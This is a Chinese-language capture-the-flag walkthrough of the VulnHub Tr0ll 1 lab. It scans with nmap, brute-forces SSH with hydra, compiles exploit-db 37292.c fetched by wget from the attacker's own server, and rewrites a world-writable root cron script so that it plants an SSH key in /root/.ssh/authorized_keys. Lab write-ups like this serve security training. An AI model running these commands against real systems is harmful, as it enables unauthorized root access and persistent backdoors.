靶机地址:https://www.vulnhub.com/entry/tr0ll-1,100/
靶机描述:Tr0ll的灵感来自OSCP实验室中不断摇曳的机器
目标:得到root权限&找到proof.txt
作者:tiancat
时间:2021-11-8
nmap -sP 192.168.85.0/24
通过arp包判断局域网内的主机状态
nmap -sS -sV -T5 -A -p- 192.168.85.128
-sS隐蔽扫描(半开syn),-sV服务版本,-T 时间优化(0-5)等级,数字越大力度越强,-A 综合扫描,-p-全端口(1-65535)
我们可以在上面看到Nmap找到开放的端口22、80,其中暴露的robots.txt和/ secret目录,还有FTP带有匿名登录名:Anonymous FTP login allowed (允许匿名ftp登录(ftp代码230))
遵循Nmap的线索,开始进行攻击
登陆ftp,查看有用的信息,ftp基础知识
dir 执行以上命令,可以查看 ftp服务器当前目录下的文件。
get 下载文件
看到pcap文件,pcap文件是常用的数据报存储格式,打开wireshark进行分析
wireshark打开lol.pcap 发现提示:FTP Data …secret_stuff.txt
打开看一下具体内容,在最下一排显示:
好吧,好吧,好吧,你不是一个聪明的小恶魔吗,你差点找到Sup3rs3cr3tdirol:-P\n
\n
糟透了,你离得太近了。。。我要更努力\N
不知道啥意思,也没有暗示这个字符串是root密码,差点找到了Sup3rs3cr3tdirol...(???)这里也许是铺垫什么
访问80端口
先用nmap的结果查看一下,浏览robots.txt,发现一个目录
没有什么关键信息
被耍了(图片:生气气?)!前面说这个sup3rs3cr3tdirlol,试试运气看是不是啥,原来是目录穿越,一个可疑的文件,kali分析一下
下载roflmao文件并检查其类型,roflmao:ELF 32位LSB可执行文件,动态链接,解释器/lib/ld linux.so.2,适用于GNU/linux 2.6.24 。使用strings(识别动态库版本指令)查看文件底层内容。
Find address 0x0856BF to proceed 意思是找到地址0x0856BF ,访问试试
直接查看一下,目录:祝你好运 哪一个是lol ,内容:genphlux<--绝对不是这个
访问另一个文件夹,此文件夹包含密码Pass.txt,Good_job_:) ,好样的
一个密码,将文件都下载下来吧,不管lol是哪个了,使用九头蛇查看
hydra -L which_one_lol.txt -p Pass.txt 192.168.85.128 ssh
-L 指定用户名字典 -P 指定密码字典
login: overflow password: Pass.txt
别想那么多了,反正就是很迷
看看版本信息
靶机正在运行Ubuntu 14.04和3.13内核,这东西一分钟还是几分钟没操作连接就断了
访问exploit官网查看到可利用提权shell,exploit-db.com
分别是37292、37293
用37292.c吧,直接编译就行
cp /usr/share/exploitdb/exploits/linux/local/37292.c ~/桌面
python -m SimpleHTTPServer 5555
wget http://192.168.85.129:5555/37292.c
记得在tmp目录下进行,我这里是在Xshell里面操作的,这里会话会持续两分钟自动断开,只能重新连接
gcc 37292.c -o huanghong
以下几种提权方式均基于计划任务
SSH登录靶机之后,发现无操作几分钟后,会话自动断开,原因可能是设置了计划任务。进而查看相应日志/var/log/cronlog
刚刚又断了,命令重新打了
cd /tmp
wget http://192.168.85.129:5555/37292.c
gcc 37292.c -o huanghong
./huanghong
cat /var/log/cronlog
注意:这个脚本不是负责结束会话的脚本
find cleaner.py
cd /lib/log/
cat cleaner.py
ls -la
vim /lib/log/cleaner.py
/lib/log/cleaner.py
脚本在计划任务中是以root权限执行的,并且该脚本是全局可写的,那么我们就可以利用这一点进行提权
使用ssh-keygen(用来生成ssh公钥认证所需的公钥和私钥文件) 目录默认、密码Pass.txt、反复输入密码即可在/root/.ssh/目录生成id_rsa、 id_rsa.pub文件
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7fMf4oURmXqsmpRu007qCwlyDKjp0w6GXIQIJGo+gohe97AVfONNgoOM9AVDoYfyfPg/XFegDI8LkWL8AjUVVUgdUylqbBXP8x7u8kr+qIzzg/G3cy9UDqFaMDbAB9NtXd/nS109vkUUSrNN02LNk+dL7+HL1uiDB7qGwlkid9/T9RJ6r9p+AMFR69JprodVcsGq25Sr2C/TKqtKA99YO5ib4YqlxN7hJqjB+roXh8wqllmv7LsrhL5I+b2K7tUxqMt9ZxL7fM8Ivbn7BWh/HcUlD4ykmqhGPisuKjPOSNsBqgW3EhJcrBGZpsYk2/wTIN2ATgPhngtHDIR7JVxlGPFRFumHjloTgu76SpoF+dyjUcizTPz1QKts2iLbmAF8lo2touiD1RhXrHSdYBA11hZBdGLl/4wEUidnoNQmZj4KOBQDKcmJNCGcohxOtKP9O8t2pBOAck2dhcPYqYRKE09RDBGfollWL33Vxn2x6YeHQTX0fmYURx4yo+QuKB48= [email protected]
将 id_rsa.pub产生的密匙内容复制到文本中
#!/usr/bin/env python
import os
import sys
try:
os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7fMf4oURmXqsmpRu007qCwlyDKjp0w6GXIQIJGo+gohe97AVfONNgoOM9AVDoYfyfPg/XFegDI8LkWL8AjUVVUgdUylqbBXP8x7u8kr+qIzzg/G3cy9UDqFaMDbAB9NtXd/nS109vkUUSrNN02LNk+dL7+HL1uiDB7qGwlkid9/T9RJ6r9p+AMFR69JprodVcsGq25Sr2C/TKqtKA99YO5ib4YqlxN7hJqjB+roXh8wqllmv7LsrhL5I+b2K7tUxqMt9ZxL7fM8Ivbn7BWh/HcUlD4ykmqhGPisuKjPOSNsBqgW3EhJcrBGZpsYk2/wTIN2ATgPhngtHDIR7JVxlGPFRFumHjloTgu76SpoF+dyjUcizTPz1QKts2iLbmAF8lo2touiD1RhXrHSdYBA11hZBdGLl/4wEUidnoNQmZj4KOBQDKcmJNCGcohxOtKP9O8t2pBOAck2dhcPYqYRKE09RDBGfollWL33Vxn2x6YeHQTX0fmYURx4yo+QuKB48= [email protected]" >> /root/.ssh/authorized_keys')
except:
sys.exit()
使用vim修改cleaner.py文件,出来后直接执行ssh [email protected],然后输入Pass.txt即可登录